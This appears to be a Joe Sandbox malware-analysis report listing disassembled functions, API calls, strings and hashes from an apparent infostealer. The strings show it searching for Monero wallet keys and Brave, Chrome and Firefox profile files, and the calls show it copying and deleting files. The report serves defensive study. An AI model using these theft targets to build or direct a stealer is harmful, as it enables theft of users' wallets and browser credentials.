Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 8a47220a66c23ec7d603f607d407be9f1e8635ca31cbfb36b01ed212e1184e8f
Instruction ID: b1e920b69e1b7fca9e8b9ff5187e41aa6d59c19fb417fb5a29f4c04fbfc0ca12
Opcode Fuzzy Hash: 8a47220a66c23ec7d603f607d407be9f1e8635ca31cbfb36b01ed212e1184e8f
Instruction Fuzzy Hash: B1414B607CA7347FE626FBAC9842FBD7B927F5674AFA07046EC0252290C7B87500452E

Function 0040BCB0 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlen.KERNEL32(?,01128880,?,\Monero\wallet.keys,00420DFF), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420DFF), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00420B17,00420B16,00000000,?,?,?,00421398,00420B0F), ref: 0040BD35
StrCmpCA.SHLWAPI(?,0042139C), ref: 0040BD8D
StrCmpCA.SHLWAPI(?,004213A0), ref: 0040BDA3
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040C5FF
FindClose.KERNEL32(000000FF), ref: 0040C611

Strings

Brave, xrefs: 0040BF42
\Brave\Preferences, xrefs: 0040C01B
Preferences, xrefs: 0040BF5E
Google Chrome, xrefs: 0040C474

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: ec11a4b32d627e1f4f12f662621c62e8bfa45e6bebd7c43356d4afb084f36edf
Instruction ID: 367325ed2970f14afd5354ed5b858d96e390655a4ce51a4c817116a6e2d4185c
Opcode Fuzzy Hash: ec11a4b32d627e1f4f12f662621c62e8bfa45e6bebd7c43356d4afb084f36edf
Instruction Fuzzy Hash: 5142BB71901108A7CB14FBB1DC96EED733DAF84314F40456EF90A66191EF389B98CB9A

Function 6CBC35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CC4F688,00001000), ref: 6CBC35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CBC35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CBC35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CBC363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CBC369F
__aulldiv.LIBCMT ref: 6CBC36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CBC3773
EnterCriticalSection.KERNEL32(6CC4F688), ref: 6CBC377E
LeaveCriticalSection.KERNEL32(6CC4F688), ref: 6CBC37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CBC37C4
EnterCriticalSection.KERNEL32(6CC4F688), ref: 6CBC37CB
LeaveCriticalSection.KERNEL32(6CC4F688), ref: 6CBC3801
__aulldiv.LIBCMT ref: 6CBC3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CBC3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CBC3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CBC394C

Strings

AuthcAMDenti, xrefs: 6CBC3946
MOZ_TIMESTAMP_MODE, xrefs: 6CBC35DB
GenuntelineI, xrefs: 6CBC3639
GTC, xrefs: 6CBC3912
QPC, xrefs: 6CBC38FC

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: b8cc7d13f068d661778981354438cb45fe7b4cafdba897d3abe685b1986be3f2
Instruction ID: eaa3be902f830ea8554a4f3cb132b4bd5c0be3fe91a7943ec9e181645a002ac7
Opcode Fuzzy Hash: b8cc7d13f068d661778981354438cb45fe7b4cafdba897d3abe685b1986be3f2
Instruction Fuzzy Hash: 0CB1C271B093509FDB08EF28C85569ABBF5FB8A708F05C92EE899D3750D770D9048B92

Function 004143F0 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0041440C
FindFirstFileA.KERNEL32(?,?), ref: 00414423
StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
FindClose.KERNEL32(000000FF), ref: 00414672

Strings

%s\%s, xrefs: 004144DB
%s\%s, xrefs: 00414484
%s\*, xrefs: 00414400

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: a01aa924e8db803adf98aab1bb88d5f7603fbb958c07abd88214674f4a8364fa
Instruction ID: 93dd7dc702b7a0e0fded8c7806ce8f3795ba14a1618ae0d79b753d530a2b99d1
Opcode Fuzzy Hash: a01aa924e8db803adf98aab1bb88d5f7603fbb958c07abd88214674f4a8364fa
Instruction Fuzzy Hash: 11616571900618ABCB30EFA0DC49FEE737DBF48704F408599F50996151EB78AB858FA5

Function 004139B0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004139D3
FindFirstFileA.KERNEL32(?,?), ref: 004139EA
StrCmpCA.SHLWAPI(?,00420F7C), ref: 00413A18
StrCmpCA.SHLWAPI(?,00420F80), ref: 00413A2E
FindNextFileA.KERNEL32(000000FF,?), ref: 00413B7C
FindClose.KERNEL32(000000FF), ref: 00413B91

Strings

%s\%s, xrefs: 004139C7

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: ecb12714a696a937795d2f2acd15c365482696e614eecd670be53603ff9c36c3
Instruction ID: 0978cf4b12305aed0c6265f700eadee139911ff0226e3ee7039eca2cb0139609
Opcode Fuzzy Hash: ecb12714a696a937795d2f2acd15c365482696e614eecd670be53603ff9c36c3
Instruction Fuzzy Hash: EE5188B1900218ABCB24EF60DC45EEE777DBF44304F40858DB60996151EB749BC5CF98

Function 0040F4F0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlen.KERNEL32(?,01128880,?,\Monero\wallet.keys,00420DFF), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420DFF), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0042155C,00420D7E), ref: 0040F55E
StrCmpCA.SHLWAPI(?,00421560), ref: 0040F5AF
StrCmpCA.SHLWAPI(?,00421564), ref: 0040F5C5
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040F8F1
FindClose.KERNEL32(000000FF), ref: 0040F903

Strings

prefs.js, xrefs: 0040F652

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 1735c850bc8ede13be4ec8a8e53acdc6634ce514c6ac33bd88ad2aed2e7ab59e
Instruction ID: 51e7ee45db09aa5f39b002a0c415dffe3bc9b22f3a493195af03bb486277efdd
Opcode Fuzzy Hash: 1735c850bc8ede13be4ec8a8e53acdc6634ce514c6ac33bd88ad2aed2e7ab59e
Instruction Fuzzy Hash: 00B17571901108ABCB24FF61DC56FEE7379AF54314F0081BEA40A57191EF386B99CB9A

Function 00401710 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0042500C,?,?,?,004250B4,?,?,00000000,?,00000000), ref: 00401963
StrCmpCA.SHLWAPI(?,0042515C), ref: 004019B3
StrCmpCA.SHLWAPI(?,00425204), ref: 004019C9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401D80
DeleteFileA.KERNEL32(00000000), ref: 00401E0A
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E60
FindClose.KERNEL32(000000FF), ref: 00401E72

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlen.KERNEL32(?,01128880,?,\Monero\wallet.keys,00420DFF), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420DFF), ref: 0041A2D5

Strings

\*.*, xrefs: 00401831

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: bef1d795a84d69a6f529a317cab0c4f23c571bf3f6b1aab454c219f6b1236e41
Instruction ID: 7f74e4117e18f221836cc8dfa6e9da0cbfb987b90413c5c57b10598df2daaecd
Opcode Fuzzy Hash: bef1d795a84d69a6f529a317cab0c4f23c571bf3f6b1aab454c219f6b1236e41
Instruction Fuzzy Hash: C2123F71911118ABCB15FB61CC96EEE7338AF54314F4041AEB50B62091EF786BD8CF9A

Function 0040D8C0 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlen.KERNEL32(?,01128880,?,\Monero\wallet.keys,00420DFF), ref: 0041A395
